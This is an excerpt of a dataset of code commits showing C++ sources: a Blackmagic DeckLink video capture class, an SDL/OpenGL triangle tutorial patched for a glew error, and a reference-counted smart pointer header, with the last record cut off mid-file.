spaces\");\n    }\n\n    \/\/ Get an iterator through the available DeckLink ports\n    IDeckLinkIterator * deck_link_iterator = CreateDeckLinkIteratorInstance();\n    if (deck_link_iterator == nullptr)\n        bail(\"DeckLink drivers do not appear to be installed\");\n\n    HRESULT res;\n\n    \/\/ Get the desired DeckLink index (port)\n    int idx = deck_link_index;\n    while ((res = deck_link_iterator->Next(&_deck_link)) == S_OK)\n    {\n        if (idx == 0)\n            break;\n        --idx;\n\n        _deck_link->Release();\n    }\n    if (deck_link_iterator != nullptr)\n        deck_link_iterator->Release();\n    \/\/ No glory: release everything and throw exception\n    if (res != S_OK or _deck_link == nullptr)\n        bail(\n            std::string(\"Could not get DeckLink device \").append(std::to_string(deck_link_index))\n        );\n\n    \/\/ Get the input interface of connected DeckLink port\n    res = _deck_link->QueryInterface(IID_IDeckLinkInput, reinterpret_cast<void **>(&_deck_link_input));\n    \/\/ No glory: release everything and throw exception\n    if (res != S_OK)\n        bail(\"Could not get the Blackmagic DeckLink input interface\");\n\n    \/\/ Set the input format (i.e. display mode)\n    BMDDisplayMode display_mode;\n    std::string error_msg = \"\";\n    BMDVideoInputFlags video_input_flags = bmdVideoInputFlagDefault\n            | bmdVideoInputDualStream3D;\n    if (not detect_input_format(pixel_format, video_input_flags, display_mode, _frame_rate, error_msg))\n    {\n        video_input_flags ^= bmdVideoInputDualStream3D;\n        if (not detect_input_format(pixel_format, video_input_flags, display_mode, _frame_rate, error_msg))\n            bail(error_msg);\n    }\n\n    \/\/ Set this object (IDeckLinkInputCallback instance) as callback\n    res = _deck_link_input->SetCallback(this);\n    \/\/ No glory: release everything and throw exception\n    if (res != S_OK)\n        bail(\"Could not set the callback of Blackmagic DeckLink device\");\n\n    \/\/ Enable video input\n    res = _deck_link_input->EnableVideoInput(display_mode,\n                                             pixel_format,\n                                             video_input_flags);\n    \/\/ No glory\n    if (res != S_OK)\n        bail(\"Could not enable video input of Blackmagic DeckLink device\");\n\n    \/\/ Start streaming\n    _running = true;\n    res = _deck_link_input->StartStreams();\n    \/\/ No glory: release everything and throw exception\n    if (res != S_OK)\n    {\n        _running = false;\n        bail(\"Could not start streaming from the Blackmagic DeckLink device\");\n    }\n\n    \/\/ artificial sleep introduced to allow for starting of streams\n    \/\/ the value is determined empirically\n    std::this_thread::sleep_for(std::chrono::milliseconds(75));\n}\n\n\nVideoSourceBlackmagicSDK::~VideoSourceBlackmagicSDK()\n{\n    { \/\/ Artificial scope for data lock\n        \/\/ Make sure streamer thread not trying to access buffer\n        std::lock_guard<std::mutex> data_lock_guard(_data_lock);\n        _running = false;\n    }\n\n    \/\/ Stop streaming and disable enabled inputs\n    _deck_link_input->SetCallback(nullptr);\n    _deck_link_input->StopStreams();\n    _deck_link_input->DisableVideoInput();\n\n    \/\/ Release DeckLink members\n    release_deck_link();\n}\n\n\nbool VideoSourceBlackmagicSDK::get_frame_dimensions(int & width, int & height)\n{\n    \/\/ Make sure only this thread is accessing the cols and rows members now\n    std::lock_guard<std::mutex> data_lock_guard(_data_lock);\n    if (_cols <= 0 or _rows <= 0)\n        return false;\n\n    width = _cols;\n    height = _rows;\n    return true;\n}\n\n\nbool VideoSourceBlackmagicSDK::get_frame(VideoFrame & frame)\n{\n    if (frame.colour() != _colour)\n        return false;\n\n    \/\/ Make sure only this thread is accessing the video frame data now\n    std::lock_guard<std::mutex> data_lock_guard(_data_lock);\n\n    if (_video_buffer_length > 0 and _cols > 0 and _rows > 0)\n    {\n        frame.init_from_specs(_video_buffer, _video_buffer_length, _cols, _rows);\n        return true;\n    }\n    else\n        return false;\n}\n\n\ndouble VideoSourceBlackmagicSDK::get_frame_rate()\n{\n    return _frame_rate;\n}\n\n\nvoid VideoSourceBlackmagicSDK::set_sub_frame(int x, int y, int width, int height)\n{\n    \/\/ issue #147\n    throw VideoSourceError(\"Blackmagic does not support cropping yet\");\n}\n\n\nvoid VideoSourceBlackmagicSDK::get_full_frame()\n{\n    \/\/ nop: set_sub_frame currently not implemented\n}\n\n\nHRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::QueryInterface(REFIID iid, LPVOID * ppv)\n{\n    return E_NOINTERFACE;\n}\n\n\nULONG STDMETHODCALLTYPE VideoSourceBlackmagicSDK::AddRef(void)\n{\n    __sync_add_and_fetch(&_n_ref, 1);\n    return _n_ref;\n}\n\n\nULONG STDMETHODCALLTYPE VideoSourceBlackmagicSDK::Release(void)\n{\n    __sync_sub_and_fetch(&_n_ref, 1);\n    return _n_ref;\n}\n\n\nHRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::VideoInputFormatChanged(\n    BMDVideoInputFormatChangedEvents events,\n    IDeckLinkDisplayMode * display_mode,\n    BMDDetectedVideoInputFormatFlags format_flags\n)\n{\n    \/\/ not supported yet: see issue #149\n    return S_OK;\n}\n\n\nHRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::VideoInputFrameArrived(\n    IDeckLinkVideoInputFrame * video_frame,\n    IDeckLinkAudioInputPacket * audio_packet\n)\n{\n    if (not _running)\n        \/\/ nop if not running!\n        return S_OK;\n\n    \/\/ Not processing the audio packet, but only the video\n    \/\/ frame for the time being\n    if (video_frame == nullptr)\n        \/\/ nop if no data\n        return S_OK;\n\n    \/\/ Nr. of bytes of received data\n    size_t n_bytes = video_frame->GetRowBytes() * video_frame->GetHeight();\n\n    { \/\/ Artificial scope for data lock\n        \/\/ Make sure only this thread is accessing the buffer now\n        std::lock_guard<std::mutex> data_lock_guard(_data_lock);\n\n        \/\/ Extend buffer if more memory needed than already allocated\n        if (n_bytes > _video_buffer_length)\n            _video_buffer = reinterpret_cast<uint8_t *>(\n                        realloc(_video_buffer, n_bytes * sizeof(uint8_t))\n            );\n        if (_video_buffer == nullptr) \/\/ something's terribly wrong!\n            \/\/ nop if something's terribly wrong!\n            return S_OK;\n\n        \/\/ Get the new data into the buffer\n        HRESULT res = video_frame->GetBytes(\n            reinterpret_cast<void **>(&_video_buffer)\n        );\n        \/\/ If data could not be read into the buffer, return\n        if (FAILED(res))\n            return res;\n        \/\/ Set video frame specs according to new data\n        _video_buffer_length = n_bytes;\n        _cols = video_frame->GetWidth();\n        _rows = video_frame->GetHeight();\n\n        \/\/ Propagate new video frame to observers\n        _buffer_video_frame.init_from_specs(\n            _video_buffer, _video_buffer_length, _cols, _rows\n        );\n    }\n\n    this->notify(_buffer_video_frame);\n\n    \/\/ Everything went fine, return success\n    return S_OK;\n}\n\n\nvoid VideoSourceBlackmagicSDK::release_deck_link() noexcept\n{\n    if (_deck_link_input != nullptr)\n    {\n        _deck_link_input->Release();\n        _deck_link_input = nullptr;\n    }\n\n    if (_deck_link != nullptr)\n        _deck_link->Release();\n}\n\n\nbool VideoSourceBlackmagicSDK::detect_input_format(BMDPixelFormat pixel_format,\n                                                   BMDVideoInputFlags & video_input_flags,\n                                                   BMDDisplayMode & display_mode,\n                                                   double & frame_rate,\n                                                   std::string & error_msg) noexcept\n{\n    std::vector<BMDDisplayMode> display_modes =\n    {\n        bmdModeHD1080p6000, bmdModeHD1080p5994,\n        bmdModeHD1080p50,\n        bmdModeHD1080p30, bmdModeHD1080p2997,\n        bmdModeHD1080p25, bmdModeHD1080p24, bmdModeHD1080p2398,\n        bmdModeHD1080i6000, bmdModeHD1080i5994,\n        bmdModeHD1080i50,\n        bmdModeHD720p60, bmdModeHD720p5994,\n        bmdModeHD720p50,\n        bmdMode4K2160p60, bmdMode4K2160p5994,\n        bmdMode4K2160p50,\n        bmdMode4K2160p30, bmdMode4K2160p2997,\n        bmdMode4K2160p25, bmdMode4K2160p24, bmdMode4K2160p2398,\n        bmdMode2k25, bmdMode2k24, bmdMode2k2398,\n    };\n\n    DeckLinkDisplayModeDetector detector(\n                _deck_link_input,\n                display_modes, pixel_format, video_input_flags\n    );\n    BMDDisplayMode display_mode_ = detector.get_display_mode();\n    if (display_mode_ != bmdModeUnknown)\n    {\n        frame_rate = detector.get_frame_rate();\n        display_mode = display_mode_;\n        video_input_flags = detector.get_video_input_flags();\n        return true;\n    }\n    else\n    {\n        error_msg = detector.get_error_msg();\n        return false;\n    }\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright 2015 Martina Kollarova\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include <iostream>\n#include <GL\/glew.h>\n#include <SDL.h>\n#include <SDL_opengl.h>\n\n#include \"common\/error.h\"\n#include \"common\/io.h\"\n\n#ifndef SHADERS_DIR\n#define SHADERS_DIR \".\/shaders\/\"\n#endif\n\nconst float vertices[] = {\n     0.0f,  0.5f,  1.0f, 0.0f, 0.0f, \/\/ vertex 1: Red\n     0.5f, -0.5f,  0.0f, 1.0f, 0.0f, \/\/ vertex 2: Green\n    -0.5f, -0.5f,  0.0f, 0.0f, 1.0f  \/\/ vertex 3: Blue\n};\n\nenum class ShaderType {vertex, fragment};\n\n\/**\n * Read |filename| from SHADERS_DIR, compile it as a shader and return its ID.\n *\/\nGLuint compileShader(const std::string& filename, ShaderType type) {\n    std::string source = readFile(SHADERS_DIR + filename);\n    if (source.length() == 0)\n      throw Exception(\"empty shader file\");\n    auto gl_type = GL_VERTEX_SHADER;\n    if (type != ShaderType::vertex) gl_type = GL_FRAGMENT_SHADER;\n\n    GLuint shader = glCreateShader(gl_type);\n    const char* source_c = source.c_str();\n    glShaderSource(shader, 1, &source_c, NULL);\n    glCompileShader(shader);\n    GLint status;\n    glGetShaderiv(shader, GL_COMPILE_STATUS, &status);\n    if (status != GL_TRUE) {\n        std::cerr << \"Failed to compile shader:\\n\";\n        std::cerr << source << std::endl;\n        std::cerr << \"************************************\\n\";\n        char buffer[512];\n        glGetShaderInfoLog(shader, 512, NULL, buffer);\n        std::cerr << buffer;\n        throw Exception();\n    }\n    printGlErrors();\n    return shader;\n}\n\nvoid initGlew() {\n    glewExperimental = GL_TRUE;\n    GLenum err = glewInit();\n    printGlErrors();\n    if(err != GLEW_OK) {\n        throw Exception(\"glewInit failed\");\n    }\n}\n\n\/**\n * Return ID of the linked and activated shader.\n *\/\nGLuint initShaders() {\n    auto vshader = compileShader(\"vshader.glsl\", ShaderType::vertex);\n    auto fshader = compileShader(\"fshader.glsl\", ShaderType::fragment);\n    GLuint shaderProgram = glCreateProgram();\n    glAttachShader(shaderProgram, vshader);\n    glAttachShader(shaderProgram, fshader);\n    glLinkProgram(shaderProgram);\n    glUseProgram(shaderProgram);\n    printGlErrors();\n    return shaderProgram;\n}\n\nSDL_GLContext initContext(SDL_Window *window) {\n    SDL_GL_SetAttribute(SDL_GL_CONTEXT_PROFILE_MASK,\n                        SDL_GL_CONTEXT_PROFILE_CORE);\n    SDL_GL_SetAttribute(SDL_GL_CONTEXT_MAJOR_VERSION, 3);\n    SDL_GL_SetAttribute(SDL_GL_CONTEXT_MINOR_VERSION, 2);\n    SDL_GLContext context = SDL_GL_CreateContext(window);\n    printGlErrors();\n    return context;\n}\n\n\/**\n * Copy buffers to memory, set shader attributes, bind to VAO.\n * Return bound VAO ID.\n *\/\nGLuint initBuffers(GLuint shaderProgram) {\n    GLuint vbo;\n    glGenBuffers(1, &vbo);\n    glBindBuffer(GL_ARRAY_BUFFER, vbo);\n    glBufferData(GL_ARRAY_BUFFER, sizeof(vertices), vertices,\n                 GL_STATIC_DRAW);\n\n    GLuint vao;\n    glGenVertexArrays(1, &vao);\n    glBindVertexArray(vao);\n    GLint posAttrib = glGetAttribLocation(shaderProgram, \"position\");\n    glEnableVertexAttribArray(posAttrib);\n    glVertexAttribPointer(posAttrib, 2, GL_FLOAT, GL_FALSE,\n                          5*sizeof(float), 0);\n\n    GLint colorAttrib = glGetAttribLocation(shaderProgram, \"color\");\n    glEnableVertexAttribArray(colorAttrib);\n    glVertexAttribPointer(colorAttrib, 3, GL_FLOAT, GL_FALSE,\n                          5*sizeof(float), (void*)(2*sizeof(float)));\n\n    GLint uniColor = glGetUniformLocation(shaderProgram, \"triangleColor\");\n    glUniform3f(uniColor, 1.0f, 0.0f, 0.0f);\n    printGlErrors();\n    return vao;\n}\n\nvoid paint() {\n    glDrawArrays(GL_TRIANGLES, 0, 3);\n    printGlErrors();\n}\n\nint main(int argc, char *argv[]) {\n    SDL_Init(SDL_INIT_VIDEO);\n    SDL_Window* window = SDL_CreateWindow(\"Hello World\",\n                                           100, 100, 800, 600,\n                                           SDL_WINDOW_OPENGL);\n    auto context = initContext(window);\n    initGlew();\n    auto program = initShaders();\n    initBuffers(program);\n\n    paint();\n\n    SDL_Event event;\n    while (true) {\n        if (SDL_PollEvent(&event)) {\n            if (event.type == SDL_QUIT) break;\n            if (event.type == SDL_KEYDOWN) break;\n        }\n        SDL_GL_SwapWindow(window);\n    }\n\n    SDL_GL_DeleteContext(context);\n    SDL_DestroyWindow(window);\n    SDL_Quit();\n    return 0;\n}\n<commit_msg>tutorial: work around known glew bug<commit_after>\/* Copyright 2015 Martina Kollarova\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include <iostream>\n#include <GL\/glew.h>\n#include <SDL.h>\n#include <SDL_opengl.h>\n\n#include \"common\/error.h\"\n#include \"common\/io.h\"\n\n#ifndef SHADERS_DIR\n#define SHADERS_DIR \".\/shaders\/\"\n#endif\n\nconst float vertices[] = {\n     0.0f,  0.5f,  1.0f, 0.0f, 0.0f, \/\/ vertex 1: Red\n     0.5f, -0.5f,  0.0f, 1.0f, 0.0f, \/\/ vertex 2: Green\n    -0.5f, -0.5f,  0.0f, 0.0f, 1.0f  \/\/ vertex 3: Blue\n};\n\nenum class ShaderType {vertex, fragment};\n\n\/**\n * Read |filename| from SHADERS_DIR, compile it as a shader and return its ID.\n *\/\nGLuint compileShader(const std::string& filename, ShaderType type) {\n    std::string source = readFile(SHADERS_DIR + filename);\n    if (source.length() == 0)\n      throw Exception(\"empty shader file\");\n    auto gl_type = GL_VERTEX_SHADER;\n    if (type != ShaderType::vertex) gl_type = GL_FRAGMENT_SHADER;\n\n    GLuint shader = glCreateShader(gl_type);\n    const char* source_c = source.c_str();\n    glShaderSource(shader, 1, &source_c, NULL);\n    glCompileShader(shader);\n    GLint status;\n    glGetShaderiv(shader, GL_COMPILE_STATUS, &status);\n    if (status != GL_TRUE) {\n        std::cerr << \"Failed to compile shader:\\n\";\n        std::cerr << source << std::endl;\n        std::cerr << \"************************************\\n\";\n        char buffer[512];\n        glGetShaderInfoLog(shader, 512, NULL, buffer);\n        std::cerr << buffer;\n        throw Exception();\n    }\n    printGlErrors();\n    return shader;\n}\n\nvoid initGlew() {\n    glewExperimental = GL_TRUE;\n    GLenum err = glewInit();\n    \/\/ ignore \"invalid enumerant\" error, it's a known bug\n    \/\/ https:\/\/www.opengl.org\/wiki\/OpenGL_Loading_Library\n    GLenum error = glGetError();\n    if (error != GL_INVALID_ENUM)\n        throw Exception(\"glewInit failed\");\n    printGlErrors();\n    if(err != GLEW_OK) {\n        throw Exception(\"glewInit failed\");\n    }\n}\n\n\/**\n * Return ID of the linked and activated shader.\n *\/\nGLuint initShaders() {\n    auto vshader = compileShader(\"vshader.glsl\", ShaderType::vertex);\n    auto fshader = compileShader(\"fshader.glsl\", ShaderType::fragment);\n    GLuint shaderProgram = glCreateProgram();\n    glAttachShader(shaderProgram, vshader);\n    glAttachShader(shaderProgram, fshader);\n    glLinkProgram(shaderProgram);\n    glUseProgram(shaderProgram);\n    printGlErrors();\n    return shaderProgram;\n}\n\nSDL_GLContext initContext(SDL_Window *window) {\n    SDL_GL_SetAttribute(SDL_GL_CONTEXT_PROFILE_MASK,\n                        SDL_GL_CONTEXT_PROFILE_CORE);\n    SDL_GL_SetAttribute(SDL_GL_CONTEXT_MAJOR_VERSION, 3);\n    SDL_GL_SetAttribute(SDL_GL_CONTEXT_MINOR_VERSION, 2);\n    SDL_GLContext context = SDL_GL_CreateContext(window);\n    printGlErrors();\n    return context;\n}\n\n\/**\n * Copy buffers to memory, set shader attributes, bind to VAO.\n * Return bound VAO ID.\n *\/\nGLuint initBuffers(GLuint shaderProgram) {\n    GLuint vbo;\n    glGenBuffers(1, &vbo);\n    glBindBuffer(GL_ARRAY_BUFFER, vbo);\n    glBufferData(GL_ARRAY_BUFFER, sizeof(vertices), vertices,\n                 GL_STATIC_DRAW);\n\n    GLuint vao;\n    glGenVertexArrays(1, &vao);\n    glBindVertexArray(vao);\n    GLint posAttrib = glGetAttribLocation(shaderProgram, \"position\");\n    glEnableVertexAttribArray(posAttrib);\n    glVertexAttribPointer(posAttrib, 2, GL_FLOAT, GL_FALSE,\n                          5*sizeof(float), 0);\n\n    GLint colorAttrib = glGetAttribLocation(shaderProgram, \"color\");\n    glEnableVertexAttribArray(colorAttrib);\n    glVertexAttribPointer(colorAttrib, 3, GL_FLOAT, GL_FALSE,\n                          5*sizeof(float), (void*)(2*sizeof(float)));\n\n    GLint uniColor = glGetUniformLocation(shaderProgram, \"triangleColor\");\n    glUniform3f(uniColor, 1.0f, 0.0f, 0.0f);\n    printGlErrors();\n    return vao;\n}\n\nvoid paint() {\n    glDrawArrays(GL_TRIANGLES, 0, 3);\n    printGlErrors();\n}\n\nint main(int argc, char *argv[]) {\n    SDL_Init(SDL_INIT_VIDEO);\n    SDL_Window* window = SDL_CreateWindow(\"Hello World\",\n                                           100, 100, 800, 600,\n                                           SDL_WINDOW_OPENGL);\n    auto context = initContext(window);\n    initGlew();\n    auto program = initShaders();\n    initBuffers(program);\n\n    paint();\n\n    SDL_Event event;\n    while (true) {\n        if (SDL_PollEvent(&event)) {\n            if (event.type == SDL_QUIT) break;\n            if (event.type == SDL_KEYDOWN) break;\n        }\n        SDL_GL_SwapWindow(window);\n    }\n\n    SDL_GL_DeleteContext(context);\n    SDL_DestroyWindow(window);\n    SDL_Quit();\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef LIGHTPTR_HPP\n# define LIGHTPTR_HPP\n# pragma once\n\n#include <cassert>\n\n#include <atomic>\n\n#include <memory>\n\n#include <utility>\n\n#include <type_traits>\n\nnamespace generic\n{\n\nnamespace detail\n{\n  using counter_type = unsigned;\n\n  using atomic_type = ::std::atomic<counter_type>;\n\n  template <typename T>\n  using deleter_type = void (*)(T*);\n\n  template <typename U>\n  struct ref_type\n  {\n    using type = U&;\n  };\n\n  template <>\n  struct ref_type<void>\n  {\n    using type = void;\n  };\n}\n\ntemplate <typename T>\nclass light_ptr\n{\n  template <typename U, typename V>\n  struct deletion_type\n  {\n    using type = V;\n  };\n\n  template <typename U, typename V>\n  struct deletion_type<U[], V>\n  {\n    using type = V[];\n  };\n\n  template <typename U, typename V, ::std::size_t N>\n  struct deletion_type<U[N], V>\n  {\n    using type = V[];\n  };\n\n  template <typename U>\n  struct is_array_type : ::std::false_type { };\n\n  template <typename U>\n  struct is_array_type<U[]> : ::std::true_type { };\n\n  template <typename U, ::std::size_t N>\n  struct is_array_type<U[N]> : ::std::true_type { };\n\n  template <typename U>\n  struct remove_array\n  {\n    using type = U;\n  };\n\n  template <typename U>\n  struct remove_array<U[]>\n  {\n    using type = U;\n  };\n\n  template <typename U, ::std::size_t N>\n  struct remove_array<U[N]>\n  {\n    using type = U;\n  };\n\n  using element_type = typename remove_array<T>::type;\n\n  using deleter_type = detail::deleter_type<element_type>;\n\n  class counter_base\n  {\n    friend class light_ptr;\n\n    using invoker_type = void (*)(counter_base*, element_type*);\n\n    detail::atomic_type counter_{};\n\n    invoker_type const invoker_;\n\n  protected:\n    explicit counter_base(detail::counter_type const c,\n      invoker_type const invoker) noexcept :\n      counter_(c),\n      invoker_(invoker)\n    {\n    }\n\n  public:\n    template <typename U>\n    typename ::std::enable_if<!::std::is_void<U>{}>::type\n    dec_ref(U* const ptr)\n    {\n      if (detail::counter_type(1) ==\n        counter_.fetch_sub(detail::counter_type(1),\n          ::std::memory_order_relaxed))\n      {\n        using type_must_be_complete = char[sizeof(U) ? 1 : -1];\n        (void)sizeof(type_must_be_complete);\n        invoker_(this, ptr);\n      }\n      \/\/ else do nothing\n    }\n\n    template <typename U>\n    typename ::std::enable_if<::std::is_void<U>{}>::type\n    dec_ref(U* const ptr)\n    {\n      if (detail::counter_type(1) ==\n        counter_.fetch_sub(detail::counter_type(1),\n          ::std::memory_order_relaxed))\n      {\n        invoker_(this, ptr);\n      }\n      \/\/ else do nothing\n    }\n\n    void inc_ref() noexcept\n    {\n      counter_.fetch_add(detail::counter_type(1),\n        ::std::memory_order_relaxed);\n    }\n  };\n\n  template <typename D>\n  class counter : public counter_base\n  {\n    typename ::std::decay<D>::type const d_;\n\n  public:\n    explicit counter(detail::counter_type const c, D&& d) :\n      counter_base(c, invoker),\n      d_(::std::forward<D>(d))\n    {\n    }\n\n  private:\n    static void invoker(counter_base* const ptr, element_type* const e)\n    {\n      auto const c(static_cast<counter<D>*>(ptr));\n\n      \/\/ invoke deleter on the element\n      c->d_(e);\n\n      \/\/ delete from a static member function\n      delete c;\n    }\n  };\n\nprivate:\n  template <typename U> friend struct ::std::hash;\n\n  counter_base* counter_{};\n\n  element_type* ptr_{};\n\npublic:\n  light_ptr() = default;\n\n  template <typename U>\n  explicit light_ptr(U* const p)\n  {\n    reset(p);\n  }\n\n  template <typename U, typename D>\n  explicit light_ptr(U* const p, D&& d)\n  {\n    reset(p, ::std::forward<D>(d));\n  }\n\n  light_ptr(light_ptr const& other) { *this = other; }\n\n  light_ptr(light_ptr&& other) noexcept { *this = ::std::move(other); }\n\n  ~light_ptr()\n  {\n    if (counter_)\n    {\n      counter_->dec_ref(ptr_);\n    }\n    \/\/ else do nothing\n  }\n\n  light_ptr& operator=(light_ptr const& rhs)\n  {\n    if (*this != rhs)\n    {\n      if (counter_)\n      {\n        counter_->dec_ref(ptr_);\n      }\n      \/\/ else do nothing\n\n      if ((counter_ = rhs.counter_))\n      {\n        counter_->inc_ref();\n      }\n      \/\/ else do nothing\n\n      ptr_ = rhs.ptr_;\n    }\n    \/\/ else do nothing\n\n    return *this;\n  }\n\n  light_ptr& operator=(light_ptr&& rhs) noexcept\n  {\n    counter_ = rhs.counter_;\n    rhs.counter_ = nullptr;\n\n    ptr_ = rhs.ptr_;\n    rhs.ptr_ = nullptr;\n\n    return *this;\n  }\n\n  light_ptr& operator=(::std::nullptr_t const) noexcept { reset(); }\n\n  bool operator<(light_ptr const& rhs) const noexcept\n  {\n    return counter_ < rhs.counter_;\n  }\n\n  bool operator==(light_ptr const& rhs) const noexcept\n  {\n    return counter_ == rhs.counter_;\n  }\n\n  bool operator!=(light_ptr const& rhs) const noexcept\n  {\n    return !operator==(rhs);\n  }\n\n  bool operator==(::std::nullptr_t const) const noexcept { return !ptr_; }\n\n  bool operator!=(::std::nullptr_t const) const noexcept { return ptr_; }\n\n  explicit operator bool() const noexcept { return ptr_; }\n\n  typename detail::ref_type<T>::type\n  operator*() const noexcept\n  {\n    return *reinterpret_cast<T*>(ptr_);\n  }\n\n  T* operator->() const noexcept { return reinterpret_cast<T*>(ptr_); }\n\n  template <typename U = T, typename =\n    typename ::std::enable_if<is_array_type<U>{}>::type>\n  typename detail::ref_type<element_type>::type operator[](\n    ::std::size_t const i) const noexcept\n  {\n    return ptr_[i];\n  }\n\n  element_type* get() const noexcept { return ptr_; }\n\n  void reset() { reset(nullptr); }\n\n  void reset(::std::nullptr_t const)\n  {\n    if (counter_)\n    {\n      counter_->dec_ref(ptr_);\n\n      counter_ = {};\n    }\n    \/\/ else do nothing\n\n    ptr_ = {};\n  }\n\n  template <typename U>\n  void reset(U* const p)\n  {\n    reset(p, [](element_type* const p) {\n      ::std::default_delete<typename deletion_type<T, U>::type>()(\n        static_cast<U*>(p));\n    });\n  }\n\n  template <typename U, typename D>\n  void reset(U* const p, D&& d)\n  {\n    if (counter_)\n    {\n      counter_->dec_ref(ptr_);\n    }\n    \/\/ else do nothing\n\n    counter_ = new counter<D>(detail::counter_type(1), ::std::forward<D>(d));\n\n    ptr_ = p;\n  }\n\n  void swap(light_ptr& other) noexcept\n  {\n    ::std::swap(counter_, other.counter_);\n    ::std::swap(ptr_, other.ptr_);\n  }\n\n  bool unique() const noexcept\n  {\n    return detail::counter_type(1) == use_count();\n  }\n\n  detail::counter_type use_count() const noexcept\n  {\n    return counter_ ?\n      counter_->counter_.load(::std::memory_order_relaxed) :\n      detail::counter_type{};\n  }\n};\n\ntemplate<class T, class ...Args>\ninline light_ptr<T> make_light(Args&& ...args)\n{\n  return light_ptr<T>(new T(::std::forward<Args>(args)...));\n}\n\n}\n\nnamespace std\n{\n  template <typename T>\n  struct hash<::generic::light_ptr<T> >\n  {\n    size_t operator()(::generic::light_ptr<T> const& l) const noexcept\n    {\n      return hash<typename ::generic::light_ptr<T>::element_type*>()(\n        l.counter_);\n    }\n  };\n}\n\n#endif \/\/ LIGHTPTR_HPP\n<commit_msg>any fix<commit_after>#ifndef LIGHTPTR_HPP\n# define LIGHTPTR_HPP\n# pragma once\n\n#include <cassert>\n\n#include <atomic>\n\n#include <memory>\n\n#include <utility>\n\n#include <type_traits>\n\nnamespace generic\n{\n\nnamespace detail\n{\n  using counter_type = unsigned;\n\n  using atomic_type = ::std::atomic<counter_type>;\n\n  template <typename T>\n  using deleter_type = void (*)(T*);\n\n  template <typename U>\n  struct ref_type\n  {\n    using type = U&;\n  };\n\n  template <>\n  struct ref_type<void>\n  {\n    using type = void;\n  };\n}\n\ntemplate <typename T>\nclass light_ptr\n{\n  template <typename U, typename V>\n  struct deletion_type\n  {\n    using type = V;\n  };\n\n  template <typename U, typename V>\n  struct deletion_type<U[], V>\n  {\n    using type = V[];\n  };\n\n  template <typename U, typename V, ::std::size_t N>\n  struct deletion_type<U[N], V>\n  {\n    using type = V[];\n  };\n\n  using element_type = typename ::std::remove_extent<T>::type;\n\n  using deleter_type = detail::deleter_type<element_type>;\n\n  class counter_base\n  {\n    friend class light_ptr;\n\n    using invoker_type = void (*)(counter_base*, element_type*);\n\n    detail::atomic_type counter_{};\n\n    invoker_type const invoker_;\n\n  protected:\n    explicit counter_base(detail::counter_type const c,\n      invoker_type const invoker) noexcept :\n      counter_(c),\n      invoker_(invoker)\n    {\n    }\n\n  public:\n    template <typename U>\n    typename ::std::enable_if<!::std::is_void<U>{}>::type\n    dec_ref(U* const ptr)\n    {\n      if (detail::counter_type(1) ==\n        counter_.fetch_sub(detail::counter_type(1),\n          ::std::memory_order_relaxed))\n      {\n        using type_must_be_complete = char[sizeof(U) ? 1 : -1];\n        (void)sizeof(type_must_be_complete);\n        invoker_(this, ptr);\n      }\n      \/\/ else do nothing\n    }\n\n    template <typename U>\n    typename ::std::enable_if<::std::is_void<U>{}>::type\n    dec_ref(U* const ptr)\n    {\n      if (detail::counter_type(1) ==\n        counter_.fetch_sub(detail::counter_type(1),\n          ::std::memory_order_relaxed))\n      {\n        invoker_(this, ptr);\n      }\n      \/\/ else do nothing\n    }\n\n    void inc_ref() noexcept\n    {\n      counter_.fetch_add(detail::counter_type(1),\n        ::std::memory_order_relaxed);\n    }\n  };\n\n  template <typename D>\n  class counter : public counter_base\n  {\n    typename ::std::decay<D>::type const d_;\n\n  public:\n    explicit counter(detail::counter_type const c, D&& d) :\n      counter_base(c, invoker),\n      d_(::std::forward<D>(d))\n    {\n    }\n\n  private:\n    static void invoker(counter_base* const ptr, element_type* const e)\n    {\n      auto const c(static_cast<counter<D>*>(ptr));\n\n      \/\/ invoke deleter on the element\n      c->d_(e);\n\n      \/\/ delete from a static member function\n      delete c;\n    }\n  };\n\nprivate:\n  template <typename U> friend struct ::std::hash;\n\n  counter_base* counter_{};\n\n  element_type* ptr_{};\n\npublic:\n  light_ptr() = default;\n\n  template <typename U>\n  explicit light_ptr(U* const p)\n  {\n    reset(p);\n  }\n\n  template <typename U, typename D>\n  explicit light_ptr(U* const p, D&& d)\n  {\n    reset(p, ::std::forward<D>(d));\n  }\n\n  light_ptr(light_ptr const& other) { *this = other; }\n\n  light_ptr(light_ptr&& other) noexcept { *this = ::std::move(other); }\n\n  ~light_ptr()\n  {\n    if (counter_)\n    {\n      counter_->dec_ref(ptr_);\n    }\n    \/\/ else do nothing\n  }\n\n  light_ptr& operator=(light_ptr const& rhs)\n  {\n    if (*this != rhs)\n    {\n      if (counter_)\n      {\n        counter_->dec_ref(ptr_);\n      }\n      \/\/ else do nothing\n\n      if ((counter_ = rhs.counter_))\n      {\n        counter_->inc_ref();\n      }\n      \/\/ else do nothing\n\n      ptr_ = rhs.ptr_;\n    }\n    \/\/ else do nothing\n\n    return *this;\n  }\n\n  light_ptr& operator=(light_ptr&& rhs) noexcept\n  {\n    counter_ = rhs.counter_;\n    rhs.counter_ = nullptr;\n\n    ptr_ = rhs.ptr_;\n    rhs.ptr_ = nullptr;\n\n    return *this;\n  }\n\n  light_ptr& operator=(::std::nullptr_t const) noexcept { reset(); }\n\n  bool operator<(light_ptr const& rhs) const noexcept\n  {\n    return counter_ < rhs.counter_;\n  }\n\n  bool operator==(light_ptr const& rhs) const noexcept\n  {\n    return counter_ == rhs.counter_;\n  }\n\n  bool 